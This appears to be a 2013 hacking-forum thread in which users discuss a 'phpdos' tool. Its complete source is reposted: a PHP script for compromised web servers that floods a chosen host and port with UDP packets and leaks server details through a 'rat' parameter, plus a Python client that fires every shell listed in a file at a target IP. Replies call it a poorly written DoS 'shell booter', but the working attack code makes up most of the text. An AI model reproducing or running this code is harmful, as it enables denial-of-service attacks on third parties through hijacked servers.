EvilZone

Programming and Scripting => Scripting Languages => : Z3r0l July 05, 2013, 08:19:44 PM

: phpdos for python
: Z3r0l July 05, 2013, 08:19:44 PM
Code in the annex, I hope in the forum to communicate with foreign friends despite my bad english
: Re: phpdos for python
: Kulverstukas July 05, 2013, 08:45:37 PM
Need more information to make sense.
: Re: phpdos for python
: Phage July 05, 2013, 10:01:46 PM
the name, phpdos, makes me suspicious as for this is an attempt to create a tool to DOS something? Anyway, more info is requested..
: Re: phpdos for python
: Fur July 05, 2013, 10:41:40 PM
*Sigh* since the OP is too lazy to post the code in tags, I took a minute to post it here. I honestly have no idea why Server.py is named so since it is a PHP script.

Server.py:
: (Php)
<?php
set_time_limit
(0);
$host $_GET['host'];
$port $_GET['port'];
$exec_time $_GET['time'];
$Sendlen 65535;
$packets 0;
ignore_user_abort(True);
 
if (
StrLen($host)==or StrLen($port)==or StrLen($exec_time)==0){
        if (
StrLen($_GET['rat'])<>0){
                echo 
$_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo 
"Parameters can not be empty!";
        exit;
    }
 
for(
$i=0;$i<$Sendlen;$i++){
        
$out .= "A";
    }

$max_time time()+$exec_time;
 
while(
1){
    
$packets++;
    if(
time() > $max_time){
        break;
    }
    
$fp fsockopen("udp://$host"$port$errno$errstr5);
        if(
$fp){
            
fwrite($fp$out);
            
fclose($fp);
    }
}
 
echo 
"Send Host£º$host:$port";
echo 
"Send Flow£º$packets * ($Sendlen/1024=" round($Sendlen/10242) . ")kb / 1024 = " round($packets*$Sendlen/1024/10242) . " mb";
echo 
"Send Rate£º" round($packets/$exec_time2) . " packs/s£»" round($packets/$exec_time*$Sendlen/1024/10242) . " mb/s";
?>


Client.py:
: (Python)
#coding:UTF-8
import urllib
print "**************************************************************"
print "                     PpDDoS by b3m0                           "
print "**************************************************************"
print
print
ip = raw_input("ip:")
po = raw_input("port:")
ti = raw_input("seconds:")
file = open("shell.txt","r")
for line in file.readlines():
    line=line.strip('\n')
    data=urllib.urlopen(line+'?host='+ip+'&port='+po+'&time='+ti)

Just looks like a shitty DoS tool (I believe people call this particular type a "shell booter").
Not even written well at that.